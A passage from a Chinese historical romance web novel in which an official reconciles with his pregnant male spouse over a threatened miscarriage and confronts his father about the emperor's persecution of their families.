梁蕴品被仆奴们硬生生安置在一把交椅上,面色铁青地凝视着那扇阖紧的门页。
不远处,偏舍门前还卧着一摊血,仆奴们来去匆匆,却十分自觉地绕着那摊血污行走。谁也不敢上手擦拭,唯恐少夫人命比纸薄撑不过去,这摊血说不定便是知州大人余生的寄托。
幸好,待到二更时分,门“吱呀”一声开了。
姬大夫满脸倦容,却不见有多么伤心,只是冷着脸,回身默默关上了房门。
“一心,让他们先下去吧,今日之事,绝不可泄漏半句。”
“是。”
梁蕴品几乎在门页打开那一瞬便起了身,拒绝了一心的搀扶,他独自一人踉踉跄跄走到姬青身前,却只得了她一记愤怒的白眼。
梁蕴品心下一沉,“姬——”
“梁大人。”
姬青不欲再与梁蕴品虚与委蛇,她抬起一只手指着他,那只奋力抢救过陆宛的手如今还在颤抖,“当初在盈蕖馆,你是如何允诺我的?”
“你说过,你会护着他。”
姬青倔强的眸头一回染上了决绝的恨意,“你说过有你在一日,便不会叫他委屈半分!”
“那现在呢?”
姬青忍不住吼了出来,声嘶力竭地质问道,“现在他家中突逢变故,又怀了你的孩子,你怎能如此狠心,弃他和孩子于不顾!”
“我没有!”
梁蕴品几乎是用尽全身力气回应,说罢脚下不稳,向后退了两步,胸中一痛。
他咳了数声,煞白的脸色更加灰暗,捂着心口瞪着猩红的眼哀求道,“姬大夫,不管您怎么想我,求求您先告诉我,阿宛他——”
“你没资格叫他的名字!”
姬青长袖一挥,背过手不欲再与这个满嘴谎言的伪君子对话,想了想却还是气不过,狭长的凤眼一挑,目光似冷箭穿入梁蕴品的心。
“依我看,你就是个缩头乌龟!”姬青咬着牙,“不就是不想让陆家的事沾上你们梁家么?既不想替少夫人担事,又想留着少夫人这副身子给你糟践,便打着‘为他好’的旗号舍子留母!我呸!你个——”
“姬大夫慎言!”
一心刚替梁蕴品规训完仆奴,叮嘱他们把嘴闭严实些,一进院子便听见姬青在破口大骂,霎时惊出一身冷汗。
他三下五除二蹦上台阶,拦在梁蕴品身前,哭丧着脸相劝,“姬大夫,府医说大人不能再受刺激,不然您前些日子的冰销云解汤便都白费了啊……况且,况且大人他不是您想的那样,他是有苦衷的啊……”
“白费了便白费了!若是少夫人有什么三长两短,我恨不得一刀了结了他,让他下地府去,赔他妻儿两条性命!”
姬青瞪着梁蕴品,气在胸中回转数圈才冷哼一声,“你说他有苦衷?好,梁大人,我且问你,虎毒尚且不食子,您的苦衷再苦,还能怪到一个刚刚成型的孩子身上?”
“……”
事已至此,梁蕴品再心焦,也只能耐下性子把话说清。
他拨开一心,朝姬青颔首一礼,缓缓道,“姬大夫,我……确实有苦衷。”
“您方才说,虎毒不食子,”梁蕴品抬起眼,眸子里的血丝虬结成团,“为人父母者,若有半分能耐保住自己的孩子,谁会舍得?”
“可我……没能耐保住他。”
梁蕴品的声音几近哽咽,额角滑落的汗水划过他因痛苦而微微抽搐的面容,“不仅是我,整个梁家,栾家……三代忠良,两朝虎将,再加我父亲头顶乌纱,都保不住这孩子的一根汗毛!”
姬青似乎被这话彻底镇住,瞪大了眼有些惶惑地看向梁蕴品。
他滑了滑嗓子,将升至喉头的那一冲血强行咽了下去,缓了许久才道:“这孩子的性命,与我二人的家族存亡紧密相连,因而我方才才……出此下策,实在是心内忧惧,一时没了主意。”
“但请您信我,”他抬起眼,眼中泪光闪动,“这孩子是阿宛同我的骨肉,我但凡有半点法子,都不愿让他替家族受难,更不愿阿宛因此伤心。”
”至于陆家的事,姬大夫
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更是误解了我……”他重重叹了口气,“无论有没有这个孩子,陆家的事就是我的事,我怎会袖手旁观,眼睁睁看着我岳父岳母为人所害?”
姬青听到此处,十分终于信了八分,她苦着脸皴着眉,同梁蕴品面面相觑良久,才从齿缝间挤出一句话来,“我方才用圩宁族的秘药‘救心丹’给他服下,堪堪护住他心脉,人总算是保住了。”
又道:“只是此等血气逆流之事,万万不可再发生第三遍。否则,金丹难返,神仙难救。”
梁蕴品眸子一紧,顿住片刻才点点头,“不会再有第三回,我保证。”
“您如何保证?”
门“吱呀”一响,阿生正好出来打水,闻言冷哼一声,狠狠瞪了梁蕴品一眼,“那孩子便是少夫人的命根子,您非要夺了他的命,叫他如何能活?”
说罢拧头就走,不顾身后投来几道复杂的目光。
“大人,我去劝劝他。”
一心拱了拱手,快步跟上阿生,被阿生闪避几回后一不做二不休将他拦腰抱起,转身消失在长廊尽头。
梁蕴品凝着眸子,似乎半晌才回过神,怔怔地看向姬青。
“姬大夫,阿生的意思是……那孩子,还活着?”
“自然活着。怎么,大人不满意了?”
姬青皱着眉,忍不住瞥了他一眼,“那秘药传闻能活死人肉白骨,大人尚且护得住,腹中胎儿算什么?”缓了口气又道,“也算是天道庇佑,陆家好人有好报——数年前陆老爷见我思乡日重,便特许我回乡寻亲,还给够了盘缠,让我不必委屈自己,我才从圩宁族寻得这一味好药。”
她顿了顿,瞥向梁蕴品的眼神又不自觉带上了嫌弃,“这药只有七颗,陆家老少一人一颗。陆夫人偏爱小少爷,非要把自己的一份让出来给他添置嫁妆,说是梁相位高权重,怕是树敌不少,日后姑爷有事也可搭救一二。这不,姑爷没事,她自己的儿子倒先遭了罪。”
梁蕴品被姬青说得无地自容,垂于身侧的手紧了又松,羞愧、愤怒、无奈自他心头接踵而过,却通通被“陆宛和孩子都还活着”的喜悦压了下去。
他兀自舒了眉眼,抬眸看向姬青,但见姬青一改方才的不屑,十分郑重又恳切地望向他。
“大人,”姬青道,“您虽说着要这孩子死,却也下不了狠手,对么?”
梁蕴品抿了抿唇。
“我瞧这孩子命大,这般折腾都不肯走,是个福泽深厚,会体恤母亲的……将来一定会是个好孩子。”
姬青说着,眼眶浮上泪光,鼻头也渐渐红了。她微微低下身子,做出一个恳求的姿态,“若咱们低调些,不叫旁人知晓这孩子是少夫人生的……大人能否网开一面,尽全力保一保这孩子?”
41.41.黎明
烛光熹微,穿堂风一过便使劲跳了几下,眼见要灭了,又顽强地活了下来。
陆宛被烛光耀了眼帘,眼皮底下微一滑动,就着跃动的烛火缓缓睁开了眼。
“醒了?”
梁蕴品一直坐在床侧,见陆宛意识模糊,便上前抚了抚他的侧脸,“渴不渴,要不要喝点水?”
“好……”
陆宛声音又虚又哑,梁蕴品急忙支起身子给他端水,不顾自己脚步虚浮。
茶盏刚送到陆宛嘴边,陆宛张了张嘴,却猛然想起了什么,“呼”一下拨开了茶盏。
精致的器皿摔落在地,瓷片溅射,梁蕴品瞧着被拨开的手,困惑地看向陆宛,只见陆宛将手滑至小腹,下意识护住那处,看向他的眼神满是惊惧。
他顿觉心酸,俯下身子一把拥住他的妻子,“别怕,我——”
“官人……”
陆宛浑身发颤,在梁蕴品怀中抖得像个筛糠,“这水里,是不是添了——”
“不是,不是!什么都没有!”
梁蕴品甚少如此失态,他与陆宛婚后虽日渐亲密,如胶似漆,却也从未有过这样患得患失的时刻。
陆宛惊惶的眼神似是在他心中剌出一道又深又长的伤疤,只叫他血流不止,心痛得无以复加。
“对不起,阿宛,我不该说那样的话……”
他用力抱住陆宛纤瘦的肩骨,泪顺着鼻梁流入陆宛的肩窝,“我没有不要咱们的孩子,你别……别怕我。”
陆宛一顿,因昏厥而断裂的记忆统统涌上脑海。
一股悲怆感瞬间覆盖了他的灵识,他眼眶一热,两行清泪顺着颧骨滑落。
“官人为何要杀了咱们的孩子……”他吸了吸鼻子,下意识为梁蕴品寻借口,“是担忧我的身子吗?”
“别担忧,我没事的。”他正了正身子,似乎在向梁蕴品展示他有多健硕,“我虽身子畸曲,但到底是男子的体魄,只是有孕而已,这么小的孩子,不会累及我的,官人放心!”
又巴巴道,“至于爹娘蒙冤入狱,我虽无法坐视不理,但也绝不会困顿于心,连累腹中胎儿……更不会连累梁家!”
他强颜一笑,“我答应官人,决不会叫自己受半分伤害,好不好?”
“但求官人,求您,让我留下他!”
“……”
陆宛越说,梁蕴品的手箍得越紧。
他一颗心像是坠入了极寒深渊,又似是被泡在一碗浓烈的高粱酒中,又苦又涩,几乎叫他无法喘息。
他不住否认,“别说了,别说了阿宛……是我的错,是我的错……是我骗了你,是我骗了你!”
陆宛本来还欲争取一番,闻言倏地一怔,半晌才反应过来,“官人这话……是什么意思?”
梁蕴品缓缓抬起身,猩红的眸子同陆宛的视线对上,几经犹豫才道:“你可知我那日身重迷情之毒,为何要苦寻象姑馆,而非直入花街寻一女子泄欲?”
陆宛懵懂地看着梁蕴品,“我,我以为,官人自知断袖——”
“不,在与你重逢之前,我不曾有过男女之情,更无从谈断袖之癖。”
梁蕴品抚去陆宛眼角缀着的泪花,自己却落下一滴泪,“去象姑馆,是因为我近不得女色,不得与女子苟合,更不得……留种。”
“留种……”
陆宛眸色一闪,似乎有人在他识海中扔了个路引,往日那些想不通的事情,正顺着这个引子连成一条粗长的线。
梁蕴品苦笑一声,“是,我若留了种,梁氏一门,连我那位居右相的父亲都会被连累。轻则父亲降职,全家软禁于府,非死不能出。重则——”
梁蕴品顿了顿,“家人皆因我而死。”
“而我们兄弟四人只能背负着沉重的枷锁,受困于高墙之内,往后余生皆过着猪狗不如的生活。”
陆宛眸光一震,腹部的胀痛又隐隐翻了上来。
“为什么,为什么会如此……”
陆宛呆呆地看向虚空中的一点,思绪不知拐向了何处,倏然一抬眸子,“所以官人当初娶我,便是看中了我这副身子么?”
他忍不住往坏了猜测,“看中我是个男子,不能留种,便不会对梁家造成威胁……”
“不,自然不是!”
见陆宛越想越偏,梁蕴品急忙握住他的手,安抚道,“阿宛,我能娶你,或许因为你是男儿身,不会受到官家的阻拦;但我要娶你,绝不因为你是个男子!”
”你看看我,”梁蕴品勾过陆宛的下巴,恳切地与他对视,“想想我们在盈蕖馆的日子,想想我们成婚后,我对你的依恋——”
他怆然一笑,“阿宛,我一颗心全然在你身上,根本瞧不见旁人半分。”
“这才是我求娶你的原因。”
陆宛怔怔地看着他,倏忽,斗大一颗委屈又释然的泪珠自脸颊滑落。
梁蕴品心疼地将他扶起,紧紧拥过他,用冒着青茬的下巴蹭了蹭他的额角,“都怪我,若我将天旨一事在成婚前告知,或许还能叫你抉择一番,说不定便不会被我拉下泥潭……是我太自私,太想占有你了。”
误会既已解除,陆宛的思绪又被拉回正轨,他听见“天旨”二字,敏锐察觉到这便是所有痛苦的源头,“天旨……是什么?”
梁蕴品顿了顿,再一次紧了紧手臂,终于下定决心同陆宛坦诚一切。
“此事,还要从两年前的那个冬天说起。”
……
“满天神佛在上,我瞒着你的,只有这些了。”
梁蕴品自四更说到五更,口感舌燥,却有一大半是慌的。
他惴惴不安地紧了紧自己的手,满怀歉意道,“所以阿宛,不是陆家连累梁家,是梁家……连累了岳父岳母。”
陆宛半晌没说话,叫梁蕴品越等越慌,他迫不及待将陆宛从怀中扶出与他对视,却见陆宛早已泪流满面。
“阿宛,阿宛……”
梁蕴品手忙脚乱拭去他的泪,咬着唇痛不欲生,“对不住,对不住!你若怪我,便打我,骂我,甚至杀了我也不为过……可你不能再动气了。”
他吻了吻陆宛的鼻尖,和声劝他,“姬大夫说,你若再伤心下去,怕是神仙难救,金丹难返。”又自暴自弃道,“若你没了,我一个人活在这世上,怕是无半点意思了……倒不如你一刀了结我,既解了恨,又能叫那大邹皇帝看看,没了我,天会不会塌,大邹会不会亡,百姓又会水深火热到何种——”
唇突然被一只冰凉的手捂上,梁蕴品眉心一跳,与陆宛哀愁的眸子对上。
“官人在胡说些什么……”陆宛道,“官人天命所护,必能长命百岁
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,福寿延年。”
“你,你不怨我?”
梁蕴品一把扯开陆宛的手攥进手心,既高兴又不解,“我哪来的什么天命所护……连你也信了那天旨?”
“那劳什子青玉案板,分明就是有心之人造出来,要祸害我梁家的妖物!”他恨得牙痒,又百般无奈,“终有一日,我会将幕后黑手翻出来,叫官家瞧瞧这天旨有多荒谬,此人又有多么的居心叵测!”
“……”
陆宛看着梁蕴品,一时五味杂陈,不知说些什么是好。
他心中自然有怨,他怨世道不公,竟叫梁家遭小人暗算,居如此尊荣之位,却只能接受无后而终的奇耻大辱。
又怨官家糊涂,竟分不清忠奸善恶,还将无关朝堂的陆家也牵扯进去。
可叫他怨梁蕴品的隐瞒……他办不到。
没人比他更懂自己的心,他明白自己即便早就知晓一切,依旧会走入这个荆棘密布的陷阱,只要梁蕴品爱他。
他对梁蕴品的纵容是一道亘古以来无解的题,只要能同他长厢厮守,他便甘愿做一只扑火的飞蛾,奋不顾身,化骨成泥。
沉默良久,他听见梁蕴品惴惴不安的试探,“夫人还是恼了我,对吧。”
“夫人……要休了我么?”
“什么?”
陆宛撩起眼,却见梁蕴品将唇抿成一条直线,眼眶幽红,似野兽般死死地凝视着他。
那张如巍峨高山般的冷峻的面容也鲜见的出现了几道裂纹,似乎他只要一点头,那野兽的犬牙便会咬上来,狠狠撕碎他脆弱的脖颈。
“官人多虑了,我只是……为梁家的遭遇而痛心,为肚子里的孩子感到不甘,又为官家无端牵连我爹娘而愤怒,仅此而已。”
他有些无奈地叹了口气,注视着梁蕴品通红的双眸,嘴角勾起一抹苦笑。
“至于官人的欺瞒……我既嫁过来,便早已下定决心与官人共渡患难,官人是瞒了我,可我又何曾没有瞒过官人?”他抬起梁蕴品裹住他手掌的手,在侧脸蹭了蹭,“这下,我算是同官人彻底扯平了。”
梁蕴品心中一动,眼见又要落下泪来,他摇了摇头,“不,阿宛,你瞒我是为了救我,而我瞒着你,是为了占有你,也害了你,害了岳父岳母,还差点儿害了咱们的孩子。”
“我欠你的,今生今世都还不清。”
他深吸一口气,盯着陆宛温良宽善的眸,强自镇定道,“总而言之,陆家的事你别担心,我方才琢磨许久,已然有了对策。”
既然父亲的退让,他们四兄弟一味的隐忍,都无法得到官家的信任——
他抿了抿唇,眸中骤然射出一道凌厉的光:那便别怪他用「大邹的命脉」相挟,去换回岳父岳母。
陆宛看着梁蕴品的眼神似有所感,眼中透出一丝恐慌,“官人的对策,是什么?”
“不必担忧。”
梁蕴品顺势将陆宛拥入怀中,顾左右而言他,“相信我,我会护着你们,不管是陆家,还是咱们的孩子。”
陆宛一怔,一直紧蹙的眉眼骤然一松,“官人是说,这孩子……”
“是。”
梁蕴品闭上眼,似一只头狼憩息在自己的伴侣身旁,轻声道,“我反悔了。”
“那是咱们的孩子,谁也别想从咱们手中夺走他的命。”
42.42.破釜
“吁——”
一心一拉缰绳,一座三架马车在宽敞气派的丞相府门前停下。
梁府大管家梁沺带着几个仆奴急匆匆地自正门走出,碎步行至马车前,脸上端着期盼已久的神情。
“大少爷,您回来了!”
“嗯,”梁蕴品将门帘一撩,怀中苍白的美人病容堪堪露出一角,“还有你们的大少夫人。”
“呦,大少夫人怎么也回来了?”
话一出口,梁沺便知自己错了,急忙打了打嘴。
“大少爷少夫人莫怪,小的不是那个意思。”
梁沺讪笑道,“来报信的仆奴没说明白,叫小的误会了,况且二少爷如今……不方便,小的只怕少夫人见了,会不舒服。”
“自家兄弟,有什么见不得的,我们先回院休整。”
梁蕴品面不改色,将双目紧闭的陆宛拦腰抱起,小心翼翼下了马车,“梁伯,让厨司备些吃食吧,多备些酸的果子,青梅,酸枣,酸橘……什么都行。”
“诶,诶,好。”
他走出几步又顿了顿,“父亲母亲现下在何方?”
“大相公今日一早上朝,至今未归,怕是被又被各地的蝗灾拖住了,夫人一直在房里养病呢!”
梁沺说着摇了摇头,“其实夫人不该整日闷在房中……府医说夫人身子没大碍,只是忧思日重,应当多出来走走才是,可她一日只出房门两回,两回都是去看二少爷,再多走几步便说胸闷得慌……”
“嗯,知道了。”
梁蕴品心中有数,抱着陆宛又快又稳当地入了府,“去报母亲,我换件衣服便去看她,陪她说话。”
“诶,好!”
少了马车中的闷热与颠簸,陆宛很快在梁蕴品怀中苏醒。
见四周庭院皆是熟悉的景致,而梁蕴品抱着自己脚下生风,他眉间不自觉蹙了蹙。
“到家了?怎么是官人亲自抱我回院……”他抬眼问,“阿生呢?”
“同一心将马车停到马厩去了。”
梁蕴品见他醒了,不由自主挑唇,“旁人抱你,我哪里放心。”
陆宛也浅浅一笑,“我没事,官人放我下来吧。青姐配的香囊很好用,汝州离汴都亦不算远,这一路我都没怎么难受。”
梁蕴品摇摇头,又提了提手臂,将陆宛抱得更牢。
他想起陆宛被马车颠簸得几近失去血色的脸,与多少酸梅果子都压不下去的孕吐,心中泛起一股苦涩。
“本不该让你同我一起回来的,”他道,“只是刚出了这么多事,若将你一人放在汝州,我亦寝食难安,生怕——”
后颈倏忽缠上一双伶仃的手,手腕上的玉镯将梁蕴品冰得一激灵,叫他无端卡了卡壳。
“是我求着官人,要陪您回来,看看母亲同二弟的。”
陆宛深情注视着梁蕴品的眸,似乎看透了他内心的心疼与愧疚。
“再者,官人也是为了陆家的事奔波,若不陪着您,我才是那个寝食难安,夜不成眠之人。”
梁蕴品听罢一哂,埋头贴了贴陆宛的额角,余光看向不远处的「归陆园」三字,目光中尽是依恋与挥不去的柔情。
转眼间,乾坤交移,辉光漫布天际。
残阳如一滴黏在紫金绸缎上的血,在寂寥的丞相府外悬着,分外耀目。
梁蕴品推开门,在满屋刺鼻的药酒味跨过门槛,一步一步走向床榻。
卧病在床的人与他身上的厚重被褥一寸寸映入他眼帘,他面不改色向前,却在瞧见那膝盖以下塌了一片的瞬间,倏地停住了脚。
“是大哥么?”
梁蕴识没偏过头去看,嘴角却先勾了起来。
“满屋子里,只有大哥走路的声响同父亲一样,天塌地陷依旧稳如泰山。”
“那是你太久没见我,生疏了。”
梁蕴品顿了片刻才若无其事拔腿,走到梁蕴识床边。
他注视着眼前气色尚佳却满脸胡茬,流露出颓然模样的少年,良久才憋出一句,“你受苦了。”
又垂了垂眸子,“是兄长无能,没法子替你报仇。”
梁蕴识一怔,骤然失笑,盯着上方华丽的床梁和纱帐摇了摇头。
“大哥也猜到了?是怎么猜到的?”
他缓缓道,“若不是慕云的贴身奴仆那晚无意提起,说官家赐给柳家的御厨与女使鬼鬼祟祟似有不妥,柳家怕是会悄无声息地化为灰烬。”
“而慕云只会肝肠寸断地为家人收尸,这辈子都不会知道真相。”
梁蕴品撩起薄薄的眼皮,语气淡漠,“他动了杀心,行事从来不留余地,我岳父岳母亦被他以贩卖私盐为名捕入了天牢。”又勾唇冷笑,“看来是有人见他病了,想借他的手将梁家的的臂膀斩断,好让咱们孤立无援。”
梁蕴识眉头一皱,“亲家伯父伯母竟也——”
“是。他一出手,便是要陆家和柳家家破人亡,好让陆宛与柳慕云成为孤子,于梁家的助益一夜之间化为乌有。”
梁蕴识呼吸骤重,五指蜷缩,将床褥上的被单抓出五道深深的沟壑。
他嘴唇不自觉哆嗦着,“……自古帝王多绝情,蕴识今日,也算是见识了。”
梁蕴品沉眸不语,缓了片刻又道,“但这次,为兄不打算再退缩。”
梁二偏头看向自己的兄长,困惑的眼神仿佛在无声询问“不退缩又能如何”,却见梁蕴品抬起眼与他对上。
他骤然开口,将一颗惊雷落下,“你大嫂有了身孕,听闻岳父岳母出事,险些香消玉殒,一尸两命。”
梁蕴识眨了眨眼。
半晌,他似被人往天灵盖上敲了一榔头,眼睛越睁越大。
困惑、讶异、质疑、慌乱……复杂的心绪一股脑儿揉在一块儿,经由他的眼睛直勾勾传递至梁蕴品眸中。
但他不问,梁蕴品便不欲解释,只背手而立,用深邃如渊的眼神回应了他的探寻,叫梁二的思绪再度翻腾起来。
大嫂……怀了孩子?
大嫂不是男人么,男人如何怀胎?
若男人能生孩子,那慕云……
梁蕴品打断了梁二的遐思,骤然发问,“你现在,还想同柳慕云在一起吗?”
梁二一怔,顷刻将陆宛有孕一事抛到了九霄云外。
他目光偏了偏,不甚自然地瞥了眼紧闭的房门,又垂下眸自嘲一笑,“若兄长是我,当如何抉择?”
梁蕴品不接他的话,只道,“我听下人说,母亲不让他进来,他便在外头顶着秋寒,等了你足足十日。”
“嗯,是我让母亲这么做的。”
梁蕴识偏头面壁,“十日而已,等久了自然就倦了,倦了便会知难而退。”
顿了顿又兀自一哂,“我与慕云的缘分,终究是没有兄嫂那般深厚。”
梁蕴品瞧着梁二消沉的侧脸,突然一甩衣摆,坐到了床沿上,叫梁二眼皮一跳。
“蕴识,”他沉声问,“你不肯面对他,到底是因为你身有残缺,不愿耽误了他,还是怕官家再对柳家做些什么?”
梁蕴识瞳孔一缩,刚想否认,却见向来睿智的兄长摆了摆手,一语道破——
“你明知柳慕云与你两情相悦一事满京城皆知,如今他一家为你所救,你更是为此没了双腿。”
“若他不能嫁与你为妻,旁人当如何说他背信弃义?即便他受得住,柳家受不受得住?”
“蕴识,无论是世俗流言亦或是柳家尊长耳提面命,都不会让他余生好受片刻。”
梁蕴品连珠炮似的话语叫梁蕴识蓦地一愣,向来坚定乐观的眼底也头一回冒出了点点水光。
“因此,除了保护他,”梁蕴品发出一声喟叹,“我想不出任何理由你会将他推开。”
梁蕴识鼻头一酸,咬咬牙还欲挣扎一番,“兄长太瞧得起我了,我没这么高尚……无非是一介残缺之躯,自觉配不上柳公子罢了。”
梁蕴品默了默,叹了口悠长的气。
“蕴识,别骗为兄,更别骗你自己。”
他注视着梁蕴识倔强的侧脸,静静道,“我与你一同长大,深知你天性坚韧,绝不是自怨自艾之人。”
“纵有残疾,你才智双绝,又善机关之术,即便不考科举亦大有一番作为,决计不会让柳慕云受半分委屈……何以要如此难为自己,也难为了他?”
梁蕴识听着,两行泪不自觉挂了下来,“兄长怎知我是难为了慕云?兄长是我家人,自然不嫌弃我,可慕云如此骄傲,又怎能同一个瘸子厮守一生?
“你是怕他不肯?”
梁蕴品皱着眉,想起
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柳慕云方才跪在他面前求他的模样,忽然有些感慨。
“如此说来,你二人相知相爱许久,倒是他更懂你。”
梁二一怔,偏过头却看见梁蕴品嘴角微微上挑,“我方才在后门与他见了一面,他一见我便甩袍下跪,求我同你说几句话。”
他悠悠道,“柳慕云说,他知道是你拦着他不让他进去,也知道你觉得自己没了双腿,日后怕是耽误了他。”
“可他与你之间是好是坏,从不在于一副世俗的皮囊,抑或是旁人的说三道四,而在于——你们的心是否在彼此身上。”
梁蕴品想到柳慕云用吊儿郎当的神情说出了十足十的真心话,嘴角勾起的弧度莫名又大了些。
“他还说如若蕴识哥哥如此在乎旁人的目光,他便把双腿锯了,从此与你一并当个瘸子,也不失为一对般配的怨偶。”
“不,不行!他怎么能——”
梁二浑身的血一凉,顿时急了,恨不得即刻爬起来阻止柳慕云干傻事,却被梁蕴品一挥手按住了。
“他还说了——”梁蕴品忍笑道,“可这样一来,你二人要说什么悄悄话,做什么见不得人的事,便都不方便了。”
“不若让他做你的腿,推着你游山玩水,与你二人共享世间美景,何如?”
-
陆宛坐在梁蕴识院里的凉亭中,看着庭院中央跪得笔直,嘴角还带着血痂的沙牧,眉头紧蹙,抿唇不语。
而沙牧的拜把子大哥沙卓,正站在他跟前,面色凝重地看着他。
“你忘了你的任务。”沙卓语气冷淡,连惋惜与心疼都无。
“是,属下甘愿领罚。”
沙牧亦没什么表情,“若能以命换腿,属下死而无憾。”
“若能以命换腿,我会替你去换。”沙卓道,“只可惜我不能,你也不能。既如此,你在此处耗费光阴,白白浪费功夫又是在做什么。”
沙卓每一句话都往沙牧心窝子里戳,沙牧岿然不动的身子微微一颤,鼻息吞吐间也更笨重了些。
“二少爷的腿……已然没了,”沙牧喉咙一滑,艰难道,“他成日在院子里躺着,我连贴身保护他亦无处可去,不跪在此处忏悔赎罪,我还有何事可做?”
沙卓顿了顿,嘴一张正要说话,忽觉一阵穿堂风自他耳畔呼啸而过,“他无暇交代你做事,你便不知道自己找些事去做?”
——是梁蕴品出来了。
沙卓转身鞠躬拱手,一气呵成,“大人。”
“嗯。”梁蕴品走到他们跟前,看着跪伏在地给他行礼的沙牧,眼角一挑,“我听梁伯说,父亲母亲已经免了你们的罚,往后好好保护、伺候二少爷,将功赎罪即可,为何旁人都去做事,你却还在这院中跪着?”
“属下……”
沙牧不知为何,心中对梁蕴品十分犯怵,话到嘴边又不敢说出,仿佛说什么都像在给自己的惫懒找由头。
“起来罢。”
梁蕴品看着陆宛向他走来,摆摆手不欲再同他计较,“你主子方才已把你交给了我,他卧床养病的这段时日,你便听沙卓吩咐吧。”
沙牧一怔,抬起眼,“……可大相公说了,属下从今往后,不得再离开二少爷一步。”
“你二少爷有更重要的事情交代你去做。”
梁蕴品顿了顿,目光一沉,那股不怒自威的气势又于无形中泄了出来,“你是听大相公的,还是听他的?”
沙牧又是一愣,随即抱拳颔首,“属下遵命!”
梁蕴品这才满意地点点头,将目光收回,投向渐行渐近的妻子。
陆宛不知这方发生了什么,只好冲他遥遥一笑,笑容中满是安抚与信任。梁蕴品盯着那抹笑勾了勾唇,脑海中不自觉浮起同梁蕴识告别前的最后一番谈话。
——“蕴识,你放不下柳慕云,我离不开你大嫂,也割舍不了他腹中刚刚成型的孩子。
此番落定,梁家已是大大犯了上忌……你可愿与为兄一道破釜沉舟,挽世事之将倾?”
——“大哥,你我兄弟一心,你要做什么,只管去做。
倘若不成,我陪你同下黄泉,也算是兄弟团聚;若成了……你便让慕云入府,来院里寻我。
我不会再拒他。”
——“好,为兄定不负你所望。”
43.43.弑父
梁庭嵊被梁沺扶着下了马车,刚走出数步便觉一阵晕眩,原地停顿良久才重新迈开步子。
“大相公,您受累了。”
梁沺小心翼翼地伺候着,忍不住抱怨,“这蝗灾也不知何年何月是个头儿,官家又抱病在床……如此下去,大相公的身子可还受得住?”
“无妨。”
梁庭嵊跨过门槛,中气已然不复当年,“受君之禄,忠君之事,这都是为人臣子的分内之事。”
“诶,是,是。”
梁沺扶着走出几步,突然一拍脑袋,“瞧我这记性,大相公,大少爷回来啦,正在家祠中候着您呢!”
“蕴品回来了?”
梁庭嵊脚步一滞,微一偏头,“有人同他说了蕴识之事?”
“嘶,不应该啊……”
梁沺忙道,“您不是吩咐过,不许下人通报,以免扰了大少爷的公务?除非……”
“除非什么?”
“除非夫人亲自派人,去了汝州报信。”
梁沺想了想,又否决了自己的猜测,“不对,大少爷同大少夫人一进门便往夫人院子里扎,我瞧夫人的模样甚是惊讶,不像是一早知道的模样。”
“……”梁庭嵊彻底停住脚,“你说什么?陆宛也跟着回来了?”
“呃,是啊……”
主子的反应叫梁沺摸不着头脑,他讪讪一笑,“二少爷出事,大少夫人身为长嫂,回来看看是应该的。”
梁庭嵊听罢默而不语,梁沺心生困惑,小心翼翼地揣度着主子的脸色,瞧着他竟无半分欢喜,眉间的“川”字反而更深了。
末了,梁庭嵊微不可察地叹了口气,“我知道了,扶我进家祠吧。”
“诶,好。”
梁庭嵊步入昏暗的祠堂,香火缭绕下,一个茕茕孑立的身影正背对着他,仰头看向西南侧高悬的牌匾。
他缓缓走近,顺着前人的目光看过去——
「端于品 渊于识 勤于思 慎于行」
“若儿子没记错,此乃四弟周岁生辰,父亲亲手写下的家训。只不过这最后三字,在儿子离家后,似有修改。”
梁蕴品回身一笑,朝梁庭嵊恭恭敬敬行了个礼,“父亲,可还记得这最后三字的原章?”
梁庭嵊满布沧桑却不失犀利的目光撇下来,与梁蕴品的眸子对上,“你想说什么?”
“父亲乃本朝宰辅,蕴品在您眼中不过乳臭未干的孩子,蕴品想说的话,父亲不会不知。”
看着梁蕴品铮铮的目光,梁庭嵊不自觉闪躲开来,生硬扯开话题。
“怎么有闲心回来?”他道,“汝州疫病虽解,但蝗祸仍存。就这么把公务扔给靳家那小子,不怕他把事情弄得一团糟?”
“劳父亲费心了,靳兄与我同门多年,又共事许久,他的能耐我自然清楚。”
“哼,他有什么能耐?他有能耐就不必叫你二人身入险境!”
梁庭嵊一想起梁蕴品夫妻双双入瘟疫村救人之事便头疼不已,胸口似闷了一口恶气,口不择言道,“再者,除了蝗祸瘟疫,你难道就没有别的事要忙?”
“父亲是指——我岳父岳母被官府栽赃,贩卖私盐一事?”
梁蕴品直起腰,微微一哂,“我此番回来,正是要处理此事。”
“……”
梁庭嵊被儿子摆了一道,绕来绕去又回到他不愿提及的话题,只得硬着头皮往下,“陆家竟出了此等大事?怎么不派人回来报信?”
梁蕴品笑了,“父亲耳听八方,难道不知道此事的内情么?”
“我应当知道什么?”
梁庭嵊勾眼瞧见梁蕴品意味深长的笑,顿时怒从中来,“你今日话里有话,同我绕了这许多圈子,到底是想说什么?!”
“呵,不是蕴品想绕圈子,”梁蕴品敛了笑,无声叹了口气,“实在是父亲对儿子隐瞒的事情太多,儿子不知从何谈起,只得先与父亲周旋,逼出父亲的实话。”
“我瞒着你?”
梁庭嵊横眉竖眼,“你倒是说说,我有什么事瞒着你?”
“父亲当真不知陆家之事么?!”
梁蕴品见梁庭嵊还在嘴硬,倏一抬眼,两道锐利的视线似锋利的针尖猛猛探向梁庭嵊心底。
“父亲,我一回来便试探过下人,也去看了母亲,他们虽支支吾吾说辞不一,却一致指向了同一件事——”
梁蕴品深吸一口气,“您刻意叫人瞒着我,不让我知晓蕴识受伤一事。”
“可当初我在襄州任职,母亲每月来书,都会同我细数家中大小事务,就连老四被官家软禁一事,您也默许蕴识与沙牧分别向我报信。”
他抿了抿唇,“这次,父亲怎么同我生疏了呢?”
梁庭嵊背着手,阴沉着脸听完梁蕴品的控诉,半晌才绷出一句,“即便你知道是谁所为,又能如何?”
“为人臣子者,忠于官家,忠于朝廷,是分内之事。”
他缓缓朝梁蕴品走出两步,“你也是臣子,君要臣死臣不得不死,你难道不明白——”
“君要臣死,也应当给臣一个理由!”
梁蕴品生生打断梁庭嵊的训导,双手握拳双目圆睁瞪向自己的父亲,眼中写满了不服。
“更遑论,柳家老太傅早已致仕,正退居家中颐养天年,即便是臣子,他有何辜?”
梁蕴品铿锵有力地质问,“柳家上上下下十几口女眷何辜?陆家又有何辜?”
他深吸一口气,“君要臣死,那便尽管来取臣项上人头,而不是让所有沾上梁家的无辜良民白白送命!”
“蕴品!你僭越了!”
梁庭嵊喘着粗气,咆哮着喝止了梁蕴品的虎狼之词,“速速停嘴,不得口出妄言!”
“父亲!”
